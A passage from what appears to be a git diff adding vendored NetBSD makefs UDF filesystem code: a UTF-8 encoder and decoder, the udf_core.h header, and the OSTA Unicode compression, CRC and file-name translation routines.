u_int16_t rune = 0;
const char *s = *str;
static const int _utf_count[16] = {
1, 1, 1, 1, 1, 1, 1, 1,
0, 0, 0, 0, 2, 2, 3, 0,
};
/* must be called with at least one byte remaining */
assert(*sz > 0);
c = _utf_count[(s[0] & 0xf0) >> 4];
if (c == 0 || c > *sz) {
decoding_error:
/*
* The first character is in range 128-255 and doesn't
* mark valid a valid UTF-8 sequence. There is not much
* we can do with this, so handle by returning
* the first character as if it would be a correctly
* encoded ISO-8859-1 character.
*/
c = 1;
}
switch (c) {
case 1:
rune = s[0] & 0xff;
break;
case 2:
if ((s[1] & 0xc0) != 0x80)
goto decoding_error;
rune = ((s[0] & 0x1F) << 6) | (s[1] & 0x3F);
break;
case 3:
if ((s[1] & 0xC0) != 0x80 || (s[2] & 0xC0) != 0x80)
goto decoding_error;
rune = ((s[0] & 0x0F) << 12) | ((s[1] & 0x3F) << 6)
| (s[2] & 0x3F);
break;
}
*str += c;
*sz -= c;
return rune;
}
/*
* Encode wide character and write it to the string. 'n' specifies
* how much buffer space remains in 's'. Returns number of bytes written
* to the target string 's'.
*/
static int
wput_utf8(char *s, size_t n, u_int16_t wc)
{
if (wc & 0xf800) {
if (n < 3) {
/* bound check failure */
return 0;
}
s[0] = 0xE0 | (wc >> 12);
s[1] = 0x80 | ((wc >> 6) & 0x3F);
s[2] = 0x80 | ((wc) & 0x3F);
return 3;
} else if (wc & 0x0780) {
if (n < 2) {
/* bound check failure */
return 0;
}
s[0] = 0xC0 | (wc >> 6);
s[1] = 0x80 | ((wc) & 0x3F);
return 2;
} else {
if (n < 1) {
/* bound check failure */
return 0;
}
s[0] = wc;
return 1;
}
}

5114
thirdparty/makefs/udf_core.c vendored Normal file

File diff suppressed because it is too large Load Diff

414
thirdparty/makefs/udf_core.h vendored Normal file
View File

@@ -0,0 +1,414 @@
/* $NetBSD: udf_core.h,v 1.2 2022/04/09 09:58:11 riastradh Exp $ */
/*
* Copyright (c) 2006, 2008, 2021, 2022 Reinoud Zandijk
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
#ifndef _FS_UDF_CORE_H_
#define _FS_UDF_CORE_H_
#if 0
# ifndef DEBUG
# define DEBUG
# endif
#endif
#include <sys/types.h>
#include <sys/stat.h>
#include "udf_bswap.h"
#include "udf_osta.h"
#if !HAVE_NBTOOL_CONFIG_H
#define _EXPOSE_MMC
#include "cdio.h"
#include "ecma167-udf.h"
#else
#include "udf/cdio_mmc_structs.h"
#include "../../sys/fs/udf/ecma167-udf.h"
#endif
/* format flags indicating properties of disc to create */
#define FORMAT_WRITEONCE 0x00001
#define FORMAT_SEQUENTIAL 0x00002
#define FORMAT_REWRITABLE 0x00004
#define FORMAT_SPAREABLE 0x00008
#define FORMAT_META 0x00010
#define FORMAT_LOW 0x00020
#define FORMAT_VAT 0x00040
#define FORMAT_WORM 0x00080
#define FORMAT_TRACK512 0x00100
#define FORMAT_INVALID 0x00200
#define FORMAT_READONLY 0x00400
#define FORMAT_FLAGBITS \
"\10\1WRITEONCE\2SEQUENTIAL\3REWRITABLE\4SPAREABLE\5META\6LOW" \
"\7VAT\10WORM\11TRACK512\12INVALID\13READONLY"
/* writing strategy */
#define UDF_WRITE_SEQUENTIAL 1
#define UDF_WRITE_PACKET 2 /* with fill-in if needed */
#define UDF_MAX_QUEUELEN 400 /* must hold all pre-partition space */
/* structure space */
#define UDF_ANCHORS 4 /* 256, 512, N-256, N */
#define UDF_PARTITIONS 4 /* overkill */
#define UDF_PMAPS 4 /* overkill */
/* misc constants */
#define UDF_MAX_NAMELEN 255 /* as per SPEC */
#define UDF_LVDINT_SEGMENTS 10 /* big overkill */
#define UDF_LVINT_LOSSAGE 4 /* lose 2 openings */
#define UDF_MAX_ALLOC_EXTENTS 5 /* overkill */
/* translation constants */
#define UDF_VTOP_RAWPART UDF_PMAPS /* [0..UDF_PMAPS> are normal */
/* virtual to physical mapping types */
#define UDF_VTOP_TYPE_RAW 0
#define UDF_VTOP_TYPE_UNKNOWN 0
#define UDF_VTOP_TYPE_PHYS 1
#define UDF_VTOP_TYPE_VIRT 2
#define UDF_VTOP_TYPE_SPAREABLE 3
#define UDF_VTOP_TYPE_META 4
#define UDF_TRANS_ZERO ((uint64_t) -1)
#define UDF_TRANS_UNMAPPED ((uint64_t) -2)
#define UDF_TRANS_INTERN ((uint64_t) -3)
#define UDF_MAX_SECTOR ((uint64_t) -10) /* high water mark */
/* handys */
#define UDF_ROUNDUP(val, gran) \
((uint64_t) (gran) * (((uint64_t)(val) + (gran)-1) / (gran)))
#define UDF_ROUNDDOWN(val, gran) \
((uint64_t) (gran) * (((uint64_t)(val)) / (gran)))
/* default */
#define UDF_META_PERC 20 /* picked */
/* disc offsets for various structures and their sizes */
struct udf_disclayout {
uint32_t wrtrack_skew;
uint32_t iso9660_vrs;
uint32_t anchors[UDF_ANCHORS];
uint32_t vds1_size, vds2_size, vds1, vds2;
uint32_t lvis_size, lvis;
uint32_t first_lba, last_lba;
uint32_t blockingnr, align_blockingnr, spareable_blockingnr;
uint32_t meta_blockingnr, meta_alignment;
/* spareables */
uint32_t spareable_blocks;
uint32_t spareable_area, spareable_area_size;
uint32_t sparing_table_dscr_lbas;
uint32_t spt_1, spt_2;
/* metadata partition */
uint32_t meta_file, meta_mirror, meta_bitmap;
uint32_t meta_part_start_lba, meta_part_size_lba;
uint32_t meta_bitmap_dscr_size;
uint32_t meta_bitmap_space;
/* main partition */
uint32_t part_start_lba, part_size_lba;
uint32_t alloc_bitmap_dscr_size;
uint32_t unalloc_space, freed_space;
/* main structures */
uint32_t fsd, rootdir, vat;
};
struct udf_lvintq {
uint32_t start;
uint32_t end;
uint32_t pos;
uint32_t wpos;
};
/* all info about discs and descriptors building */
struct udf_create_context {
/* descriptors */
int dscrver; /* 2 or 3 */
int min_udf; /* hex */
int max_udf; /* hex */
int serialnum; /* format serialno */
int gmtoff; /* in minutes */
int meta_perc; /* format paramter */
int check_surface; /* for spareables */
int create_new_session; /* for non empty recordables */
uint32_t sector_size;
int media_accesstype;
int format_flags;
int write_strategy;
/* identification */
char *logvol_name;
char *primary_name;
char *volset_name;
char *fileset_name;
char const *app_name;
char const *impl_name;
int app_version_main;
int app_version_sub;
/* building */
int vds_seq; /* for building functions */
/* constructed structures */
struct anchor_vdp *anchors[UDF_ANCHORS]; /* anchors to VDS */
struct pri_vol_desc *primary_vol; /* identification */
struct logvol_desc *logical_vol; /* main mapping v->p */
struct unalloc_sp_desc *unallocated; /* free UDF space */
struct impvol_desc *implementation; /* likely reduntant */
struct logvol_int_desc *logvol_integrity; /* current integrity */
struct part_desc *partitions[UDF_PARTITIONS]; /* partitions */
struct space_bitmap_desc*part_unalloc_bits[UDF_PARTITIONS];
struct space_bitmap_desc*part_freed_bits [UDF_PARTITIONS];
/* track information */
struct mmc_trackinfo first_ti_partition;
struct mmc_trackinfo first_ti;
struct mmc_trackinfo last_ti;
/* current partitions for allocation */
int data_part;
int metadata_part;
int fids_part;
/* current highest file unique_id */
uint64_t unique_id;
/* block numbers as offset in partition, building ONLY! */
uint32_t alloc_pos[UDF_PARTITIONS];
/* derived; points *into* other structures */
struct udf_logvol_info *logvol_info; /* inside integrity */
/* fileset and root directories */
struct fileset_desc *fileset_desc; /* normally one */
/* logical to physical translations */
int vtop[UDF_PMAPS+1]; /* vpartnr trans */
int vtop_tp[UDF_PMAPS+1]; /* type of trans */
/* spareable */
struct udf_sparing_table*sparing_table; /* replacements */
/* VAT file */
uint32_t vat_size; /* length */
uint32_t vat_allocated; /* allocated length */
uint32_t vat_start; /* offset 1st entry */
uint8_t *vat_contents; /* the VAT */
/* meta data partition */
struct extfile_entry *meta_file;
struct extfile_entry *meta_mirror;
struct extfile_entry *meta_bitmap;
/* lvint */
uint32_t num_files;
uint32_t num_directories;
uint32_t part_size[UDF_PARTITIONS];
uint32_t part_free[UDF_PARTITIONS];
/* fsck */
union dscrptr *vds_buf;
int vds_size;
struct udf_lvintq lvint_trace[UDF_LVDINT_SEGMENTS]; /* fsck */
uint8_t *lvint_history; /* fsck */
int lvint_history_len; /* fsck */
int lvint_history_wpos; /* fsck */
int lvint_history_ondisc_len; /* fsck */
};
/* global variables describing disc and format */
extern struct udf_create_context context;
extern struct udf_disclayout layout;
extern struct mmc_discinfo mmc_discinfo; /* device: disc info */
extern int dev_fd_rdonly; /* device: open readonly! */
extern int dev_fd; /* device: file descriptor */
extern struct stat dev_fd_stat; /* device: last stat info */
extern char *dev_name; /* device: name */
extern int emul_mmc_profile; /* for files */
extern int emul_packetsize; /* for discs and files */
extern int emul_sectorsize; /* for files */
extern off_t emul_size; /* for files */
extern uint32_t wrtrack_skew; /* offset for write sector0 */
/* prototypes */
extern void udf_init_create_context(void);
extern int a_udf_version(const char *s, const char *id_type);
extern int is_zero(void *blob, int size);
extern uint32_t udf_bytes_to_sectors(uint64_t bytes);
extern int udf_calculate_disc_layout(int min_udf,
uint32_t first_lba, uint32_t last_lba,
uint32_t sector_size, uint32_t blockingnr);
extern void udf_dump_layout(void);
extern int udf_spareable_blocks(void);
extern int udf_spareable_blockingnr(void);
extern void udf_osta_charset(struct charspec *charspec);
extern void udf_encode_osta_id(char *osta_id, uint16_t len, char *text);
extern void udf_to_unix_name(char *result, int result_len, char *id, int len,
struct charspec *chsp);
extern void unix_to_udf_name(char *result, uint8_t *result_len,
char const *name, int name_len, struct charspec *chsp);
extern void udf_set_regid(struct regid *regid, char const *name);
extern void udf_add_domain_regid(struct regid *regid);
extern void udf_add_udf_regid(struct regid *regid);
extern void udf_add_impl_regid(struct regid *regid);
extern void udf_add_app_regid(struct regid *regid);
extern int udf_check_tag(void *blob);
extern int udf_check_tag_payload(void *blob, uint32_t max_length);
extern int udf_check_tag_and_location(void *blob, uint32_t location);
extern int udf_validate_tag_sum(union dscrptr *dscr);
extern int udf_validate_tag_and_crc_sums(union dscrptr *dscr);
extern void udf_set_timestamp_now(struct timestamp *timestamp);
extern void udf_timestamp_to_timespec(struct timestamp *timestamp,
struct timespec *timespec);
extern void udf_timespec_to_timestamp(struct timespec *timespec,
struct timestamp *timestamp);
extern void udf_inittag(struct desc_tag *tag, int tagid, uint32_t loc);
extern int udf_create_anchor(int num);
extern void udf_create_terminator(union dscrptr *dscr, uint32_t loc);
extern int udf_create_primaryd(void);
extern int udf_create_partitiond(int part_num);
extern int udf_create_unalloc_spaced(void);
extern int udf_create_sparing_tabled(void);
extern int udf_create_space_bitmap(uint32_t dscr_size, uint32_t part_size_lba,
struct space_bitmap_desc **sbdp);
extern int udf_create_logical_dscr(void);
extern int udf_create_impvold(char *field1, char *field2, char *field3);
extern int udf_create_fsd(void);
extern int udf_create_lvintd(int type);
extern void udf_update_lvintd(int type);
extern uint16_t udf_find_raw_phys(uint16_t raw_phys_part);
extern int udf_register_bad_block(uint32_t location);
extern void udf_mark_allocated(uint32_t start_lb, int partnr, uint32_t blocks);
extern int udf_impl_extattr_check(struct impl_extattr_entry *implext);
extern void udf_calc_impl_extattr_checksum(struct impl_extattr_entry *implext);
extern int udf_extattr_search_intern(union dscrptr *dscr,
uint32_t sattr, char const *sattrname,
uint32_t *offsetp, uint32_t *lengthp);
extern int udf_create_new_fe(struct file_entry **fep, int file_type,
struct stat *st);
extern int udf_create_new_efe(struct extfile_entry **efep, int file_type,
struct stat *st);
extern int udf_encode_symlink(uint8_t **pathbufp, uint32_t *pathlenp, char *target);
extern void udf_advance_uniqueid(void);
extern uint32_t udf_tagsize(union dscrptr *dscr, uint32_t lb_size);
extern int udf_fidsize(struct fileid_desc *fid);
extern void udf_create_fid(uint32_t diroff, struct fileid_desc *fid,
char *name, int namelen, struct long_ad *ref);
extern int udf_create_parentfid(struct fileid_desc *fid, struct long_ad *parent);
extern int udf_create_meta_files(void);
extern int udf_create_new_rootdir(union dscrptr **dscr);
extern int udf_create_VAT(union dscrptr **vat_dscr, struct long_ad *vatdata_loc);
extern void udf_prepend_VAT_file(void);
extern void udf_vat_update(uint32_t virt, uint32_t phys);
extern int udf_append_VAT_file(void);
extern int udf_writeout_VAT(void);
extern int udf_opendisc(const char *device, int open_flags);
extern void udf_closedisc(void);
extern int udf_prepare_disc(void);
extern int udf_update_discinfo(void);
extern int udf_update_trackinfo(struct mmc_trackinfo *ti);
extern int udf_get_blockingnr(struct mmc_trackinfo *ti);
extern void udf_synchronise_caches(void);
extern void udf_suspend_writing(void);
extern void udf_allow_writing(void);
extern int udf_write_iso9660_vrs(void);
/* address translation */
extern int udf_translate_vtop(uint32_t lb_num, uint16_t vpart,
uint32_t *lb_numres, uint32_t *extres);
/* basic sector read/write with caching */
extern int udf_read_sector(void *sector, uint64_t location);
extern int udf_write_sector(void *sector, uint64_t location);
/* extent reading and writing */
extern int udf_read_phys(void *blob, uint32_t location, uint32_t sects);
extern int udf_write_phys(void *blob, uint32_t location, uint32_t sects);
extern int udf_read_virt(void *blob, uint32_t location, uint16_t vpart,
uint32_t sectors);
extern int udf_write_virt(void *blob, uint32_t location, uint16_t vpart,
uint32_t sectors);
extern int udf_read_dscr_phys(uint32_t sector, union dscrptr **dstp);
extern int udf_write_dscr_phys(union dscrptr *dscr, uint32_t location,
uint32_t sects);
extern int udf_read_dscr_virt(uint32_t sector, uint16_t vpart,
union dscrptr **dstp);
extern int udf_write_dscr_virt(union dscrptr *dscr,
uint32_t location, uint16_t vpart, uint32_t sects);
extern void udf_metadata_alloc(int nblk, struct long_ad *pos);
extern void udf_data_alloc(int nblk, struct long_ad *pos);
extern void udf_fids_alloc(int nblk, struct long_ad *pos);
extern int udf_derive_format(int req_enable, int req_disable);
extern int udf_proces_names(void);
extern int udf_surface_check(void);
extern int udf_do_newfs_prefix(void);
extern int udf_do_rootdir(void);
extern int udf_do_newfs_postfix(void);
extern void udf_dump_discinfo(struct mmc_discinfo *di);
#endif /* _UDF_CORE_H_ */

514
thirdparty/makefs/udf_osta.c vendored Normal file
View File

@@ -0,0 +1,514 @@
/* $NetBSD: udf_osta.c,v 1.10 2013/08/05 17:02:54 joerg Exp $ */
#if HAVE_NBTOOL_CONFIG_H
#include "nbtool_config.h"
#endif
#include <inttypes.h>
#include <sys/cdefs.h>
// __KERNEL_RCSID(0, "$NetBSD: udf_osta.c,v 1.10 2013/08/05 17:02:54 joerg Exp $");
/*
* Various routines from the OSTA 2.01 specs. Copyrights are included with
* each code segment. Slight whitespace modifications have been made for
* formatting purposes. Typos/bugs have been fixed.
*
*/
#include "udf_osta.h"
#ifndef _KERNEL
#include <ctype.h>
#endif
/*****************************************************************************/
/***********************************************************************
* OSTA compliant Unicode compression, uncompression routines.
* Copyright 1995 Micro Design International, Inc.
* Written by Jason M. Rinn.
* Micro Design International gives permission for the free use of the
* following source code.
*/
/***********************************************************************
* Takes an OSTA CS0 compressed unicode name, and converts
* it to Unicode.
* The Unicode output will be in the byte order
* that the local compiler uses for 16-bit values.
* NOTE: This routine only performs error checking on the compID.
* It is up to the user to ensure that the unicode buffer is large
* enough, and that the compressed unicode name is correct.
*
* RETURN VALUE
*
* The number of unicode characters which were uncompressed.
* A -1 is returned if the compression ID is invalid.
*/
int
udf_UncompressUnicode(
int numberOfBytes, /* (Input) number of bytes read from media. */
byte *UDFCompressed, /* (Input) bytes read from media. */
unicode_t *unicode) /* (Output) uncompressed unicode characters. */
{
unsigned int compID;
int returnValue, unicodeIndex, byteIndex;
/* Use UDFCompressed to store current byte being read. */
compID = UDFCompressed[0];
/* First check for valid compID. */
if (compID != 8 && compID != 16) {
returnValue = -1;
} else {
unicodeIndex = 0;
byteIndex = 1;
/* Loop through all the bytes. */
while (byteIndex < numberOfBytes) {
if (compID == 16) {
/* Move the first byte to the high bits of the
* unicode char.
*/
unicode[unicodeIndex] =
UDFCompressed[byteIndex++] << 8;
} else {
unicode[unicodeIndex] = 0;
}
if (byteIndex < numberOfBytes) {
/*Then the next byte to the low bits. */
unicode[unicodeIndex] |=
UDFCompressed[byteIndex++];
}
unicodeIndex++;
}
returnValue = unicodeIndex;
}
return(returnValue);
}
/***********************************************************************
* DESCRIPTION:
* Takes a string of unicode wide characters and returns an OSTA CS0
* compressed unicode string. The unicode MUST be in the byte order of
* the compiler in order to obtain correct results. Returns an error
* if the compression ID is invalid.
*
* NOTE: This routine assumes the implementation already knows, by
* the local environment, how many bits are appropriate and
* therefore does no checking to test if the input characters fit
* into that number of bits or not.
*
* RETURN VALUE
*
* The total number of bytes in the compressed OSTA CS0 string,
* including the compression ID.
* A -1 is returned if the compression ID is invalid.
*/
int
udf_CompressUnicode(
int numberOfChars, /* (Input) number of unicode characters. */
int compID, /* (Input) compression ID to be used. */
unicode_t *unicode, /* (Input) unicode characters to compress. */
byte *UDFCompressed) /* (Output) compressed string, as bytes. */
{
int byteIndex, unicodeIndex;
if (compID != 8 && compID != 16) {
byteIndex = -1; /* Unsupported compression ID ! */
} else {
/* Place compression code in first byte. */
UDFCompressed[0] = compID;
byteIndex = 1;
unicodeIndex = 0;
while (unicodeIndex < numberOfChars) {
if (compID == 16) {
/* First, place the high bits of the char
* into the byte stream.
*/
UDFCompressed[byteIndex++] =
(unicode[unicodeIndex] & 0xFF00) >> 8;
}
/*Then place the low bits into the stream. */
UDFCompressed[byteIndex++] =
unicode[unicodeIndex] & 0x00FF;
unicodeIndex++;
}
}
return(byteIndex);
}
/*****************************************************************************/
/*
* CRC 010041
*/
static unsigned short crc_table[256] = {
0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50A5, 0x60C6, 0x70E7,
0x8108, 0x9129, 0xA14A, 0xB16B, 0xC18C, 0xD1AD, 0xE1CE, 0xF1EF,
0x1231, 0x0210, 0x3273, 0x2252, 0x52B5, 0x4294, 0x72F7, 0x62D6,
0x9339, 0x8318, 0xB37B, 0xA35A, 0xD3BD, 0xC39C, 0xF3FF, 0xE3DE,
0x2462, 0x3443, 0x0420, 0x1401, 0x64E6, 0x74C7, 0x44A4, 0x5485,
0xA56A, 0xB54B, 0x8528, 0x9509, 0xE5EE, 0xF5CF, 0xC5AC, 0xD58D,
0x3653, 0x2672, 0x1611, 0x0630, 0x76D7, 0x66F6, 0x5695, 0x46B4,
0xB75B, 0xA77A, 0x9719, 0x8738, 0xF7DF, 0xE7FE, 0xD79D, 0xC7BC,
0x48C4, 0x58E5, 0x6886, 0x78A7, 0x0840, 0x1861, 0x2802, 0x3823,
0xC9CC, 0xD9ED, 0xE98E, 0xF9AF, 0x8948, 0x9969, 0xA90A, 0xB92B,
0x5AF5, 0x4AD4, 0x7AB7, 0x6A96, 0x1A71, 0x0A50, 0x3A33, 0x2A12,
0xDBFD, 0xCBDC, 0xFBBF, 0xEB9E, 0x9B79, 0x8B58, 0xBB3B, 0xAB1A,
0x6CA6, 0x7C87, 0x4CE4, 0x5CC5, 0x2C22, 0x3C03, 0x0C60, 0x1C41,
0xEDAE, 0xFD8F, 0xCDEC, 0xDDCD, 0xAD2A, 0xBD0B, 0x8D68, 0x9D49,
0x7E97, 0x6EB6, 0x5ED5, 0x4EF4, 0x3E13, 0x2E32, 0x1E51, 0x0E70,
0xFF9F, 0xEFBE, 0xDFDD, 0xCFFC, 0xBF1B, 0xAF3A, 0x9F59, 0x8F78,
0x9188, 0x81A9, 0xB1CA, 0xA1EB, 0xD10C, 0xC12D, 0xF14E, 0xE16F,
0x1080, 0x00A1, 0x30C2, 0x20E3, 0x5004, 0x4025, 0x7046, 0x6067,
0x83B9, 0x9398, 0xA3FB, 0xB3DA, 0xC33D, 0xD31C, 0xE37F, 0xF35E,
0x02B1, 0x1290, 0x22F3, 0x32D2, 0x4235, 0x5214, 0x6277, 0x7256,
0xB5EA, 0xA5CB, 0x95A8, 0x8589, 0xF56E, 0xE54F, 0xD52C, 0xC50D,
0x34E2, 0x24C3, 0x14A0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405,
0xA7DB, 0xB7FA, 0x8799, 0x97B8, 0xE75F, 0xF77E, 0xC71D, 0xD73C,
0x26D3, 0x36F2, 0x0691, 0x16B0, 0x6657, 0x7676, 0x4615, 0x5634,
0xD94C, 0xC96D, 0xF90E, 0xE92F, 0x99C8, 0x89E9, 0xB98A, 0xA9AB,
0x5844, 0x4865, 0x7806, 0x6827, 0x18C0, 0x08E1, 0x3882, 0x28A3,
0xCB7D, 0xDB5C, 0xEB3F, 0xFB1E, 0x8BF9, 0x9BD8, 0xABBB, 0xBB9A,
0x4A75, 0x5A54, 0x6A37, 0x7A16, 0x0AF1, 0x1AD0, 0x2AB3, 0x3A92,
0xFD2E, 0xED0F, 0xDD6C, 0xCD4D, 0xBDAA, 0xAD8B, 0x9DE8, 0x8DC9,
0x7C26, 0x6C07, 0x5C64, 0x4C45, 0x3CA2, 0x2C83, 0x1CE0, 0x0CC1,
0xEF1F, 0xFF3E, 0xCF5D, 0xDF7C, 0xAF9B, 0xBFBA, 0x8FD9, 0x9FF8,
0x6E17, 0x7E36, 0x4E55, 0x5E74, 0x2E93, 0x3EB2, 0x0ED1, 0x1EF0
};
unsigned short
udf_cksum(unsigned char *s, int n)
{
unsigned short crc=0;
while (n-- > 0)
crc = crc_table[(crc>>8 ^ *s++) & 0xff] ^ (crc<<8);
return crc;
}
/* UNICODE Checksum */
unsigned short
udf_unicode_cksum(unsigned short *s, int n)
{
unsigned short crc=0;
while (n-- > 0) {
/* Take high order byte first--corresponds to a big endian
* byte stream.
*/
crc = crc_table[(crc>>8 ^ (*s>>8)) & 0xff] ^ (crc<<8);
crc = crc_table[(crc>>8 ^ (*s++ & 0xff)) & 0xff] ^ (crc<<8);
}
return crc;
}
/*
* Calculates a 16-bit checksum of the Implementation Use
* Extended Attribute header or Application Use Extended Attribute
* header. The fields AttributeType through ImplementationIdentifier
* (or ApplicationIdentifier) inclusively represent the
* data covered by the checksum (48 bytes).
*
*/
uint16_t udf_ea_cksum(uint8_t *data) {
uint16_t checksum = 0;
int count;
for (count = 0; count < 48; count++) {
checksum += *data++;
}
return checksum;
}
#ifdef MAIN
unsigned char bytes[] = { 0x70, 0x6A, 0x77 };
main(void)
{
unsigned short x;
x = cksum(bytes, sizeof bytes);
printf("checksum: calculated=%4.4x, correct=%4.4x\en", x, 0x3299);
exit(0);
}
#endif
/*****************************************************************************/
/* #ifdef NEEDS_ISPRINT */
/***********************************************************************
* OSTA UDF compliant file name translation routine for OS/2,
* Windows 95, Windows NT, Macintosh and UNIX.
* Copyright 1995 Micro Design International, Inc.
* Written by Jason M. Rinn.
* Micro Design International gives permission for the free use of the
* following source code.
*/
/***********************************************************************
* To use these routines with different operating systems.
*
* OS/2
* Define OS2
* Define MAXLEN = 254
*
* Windows 95
* Define WIN_95
* Define MAXLEN = 255
*
* Windows NT
* Define WIN_NT
* Define MAXLEN = 255
*
* Macintosh:
* Define MAC.
* Define MAXLEN = 31.
*
* UNIX
* Define UNIX.
* Define MAXLEN as specified by unix version.
*/
#define ILLEGAL_CHAR_MARK 0x005F
#define CRC_MARK 0x0023
#define EXT_SIZE 5
#define PERIOD 0x002E
#define SPACE 0x0020
/*** PROTOTYPES ***/
int IsIllegal(unicode_t ch);
/* Define a function or macro which determines if a Unicode character is
* printable under your implementation.
*/
/* #include <stdio.h> */
static int UnicodeIsPrint(unicode_t ch) {
return (ch >=' ') && (ch != 127);
}
int UnicodeLength(unicode_t *string) {
int length;
length = 0;
while (*string++) length++;
return length;
}
#ifdef _KERNEL
static int isprint(int c) {
return (c >= ' ') && (c != 127);
}
#endif
/***********************************************************************
* Translates a long file name to one using a MAXLEN and an illegal
* char set in accord with the OSTA requirements. Assumes the name has
* already been translated to Unicode.
*
* RETURN VALUE
*
* Number of unicode characters in translated name.
*/
int UDFTransName(
unicode_t *newName, /* (Output)Translated name. Must be of length
* MAXLEN */
unicode_t *udfName, /* (Input) Name from UDF volume.*/
int udfLen) /* (Input) Length of UDF Name. */
{
int Index, newIndex = 0, needsCRC = false; /* index is shadowed */
int extIndex = 0, newExtIndex = 0, hasExt = false;
#if defined OS2 || defined WIN_95 || defined WIN_NT
int trailIndex = 0;
#endif
unsigned short valueCRC;
unicode_t current;
const char hexChar[] = "0123456789ABCDEF";
for (Index = 0; Index < udfLen; Index++) {
current = udfName[Index];
if (IsIllegal(current) || !UnicodeIsPrint(current)) {
needsCRC = true;
/* Replace Illegal and non-displayable chars with
* underscore.
*/
current = ILLEGAL_CHAR_MARK;
/* Skip any other illegal or non-displayable
* characters.
*/
while(Index+1 < udfLen && (IsIllegal(udfName[Index+1])
|| !UnicodeIsPrint(udfName[Index+1]))) {
Index++;
}
}
/* Record position of extension, if one is found. */
if (current == PERIOD && (udfLen - Index -1) <= EXT_SIZE) {
if (udfLen == Index + 1) {
/* A trailing period is NOT an extension. */
hasExt = false;
} else {
hasExt = true;
extIndex = Index;
newExtIndex = newIndex;
}
}
#if defined OS2 || defined WIN_95 || defined WIN_NT
/* Record position of last char which is NOT period or space. */
else if (current != PERIOD && current != SPACE) {
trailIndex = newIndex;
}
#endif
if (newIndex < MAXLEN) {
newName[newIndex++] = current;
} else {
needsCRC = true;
}
}
#if defined OS2 || defined WIN_95 || defined WIN_NT
/* For OS2, 95 & NT, truncate any trailing periods and\or spaces. */
if (trailIndex != newIndex - 1) {
newIndex = trailIndex + 1;
needsCRC = true;
hasExt = false; /* Trailing period does not make an
* extension. */
}
#endif
if (needsCRC) {
unicode_t ext[EXT_SIZE];
int localExtIndex = 0;
if (hasExt) {
int maxFilenameLen;
/* Translate extension, and store it in ext. */
for(Index = 0; Index<EXT_SIZE &&
extIndex + Index +1 < udfLen; Index++ ) {
current = udfName[extIndex + Index + 1];
if (IsIllegal(current) ||
!UnicodeIsPrint(current)) {
needsCRC = 1;
/* Replace Illegal and non-displayable
* chars with underscore.
*/
current = ILLEGAL_CHAR_MARK;
/* Skip any other illegal or
* non-displayable characters.
*/
while(Index + 1 < EXT_SIZE
&& (IsIllegal(udfName[extIndex +
Index + 2]) ||
!isprint(udfName[extIndex +
Index + 2]))) {
Index++;
}
}
ext[localExtIndex++] = current;
}
/* Truncate filename to leave room for extension and
* CRC.
*/
maxFilenameLen = ((MAXLEN - 5) - localExtIndex - 1);
if (newIndex > maxFilenameLen) {
newIndex = maxFilenameLen;
} else {
newIndex = newExtIndex;
}
} else if (newIndex > MAXLEN - 5) {
/*If no extension, make sure to leave room for CRC. */
newIndex = MAXLEN - 5;
}
newName[newIndex++] = CRC_MARK; /* Add mark for CRC. */
/*Calculate CRC from original filename from FileIdentifier. */
valueCRC = udf_unicode_cksum(udfName, udfLen);
/* Convert 16-bits of CRC to hex characters. */
newName[newIndex++] = hexChar[(valueCRC & 0xf000) >> 12];
newName[newIndex++] = hexChar[(valueCRC & 0x0f00) >> 8];
newName[newIndex++] = hexChar[(valueCRC & 0x00f0) >> 4];
newName[newIndex++] = hexChar[(valueCRC & 0x000f)];
/* Place a translated extension at end, if found. */
if (hasExt) {
newName[newIndex++] = PERIOD;
for (Index = 0;Index < localExtIndex ;Index++ ) {
newName[newIndex++] = ext[Index];
}
}
}
return(newIndex);
}
#if defined OS2 || defined WIN_95 || defined WIN_NT
/***********************************************************************
* Decides if a Unicode character matches one of a list
* of ASCII characters.
* Used by OS2 version of IsIllegal for readability, since all of the
* illegal characters above 0x0020 are in the ASCII subset of Unicode.
* Works very similarly to the standard C function strchr().
*
* RETURN VALUE
*
* Non-zero if the Unicode character is in the given ASCII string.
*/
int UnicodeInString(
unsigned char *string, /* (Input) String to search through. */
unicode_t ch) /* (Input) Unicode char to search for. */
{
int found = false;
while (*string != '\0' && found == false) {
/* These types should compare, since both are unsigned
* numbers. */
if (*string == ch) {
found = true;
}
string++;
}
return(found);
}
#endif /* OS2 */
/***********************************************************************
* Decides whether the given character is illegal for a given OS.
*
* RETURN VALUE
*
* Non-zero if char is illegal.
*/
int IsIllegal(unicode_t ch)
{
#ifdef MAC
/* Only illegal character on the MAC is the colon. */
if (ch == 0x003A) {
return(1);
} else {
return(0);
}
#elif defined UNIX
/* Illegal UNIX characters are NULL and slash. */
if (ch == 0x0000 || ch == 0x002F) {
return(1);
} else {
return(0);
}
#elif defined OS2 || defined WIN_95 || defined WIN_NT
/* Illegal char's for OS/2 according to WARP toolkit. */
if (ch < 0x0020 || UnicodeInString("\\/:*?\"<>|", ch)) {
return(1);
} else {
return(0);
}
#endif
}
/* #endif*/ /* NEEDS_ISPRINT */

171
thirdparty/makefs/util.h vendored Normal file
View File

@@ -0,0 +1,171 @@
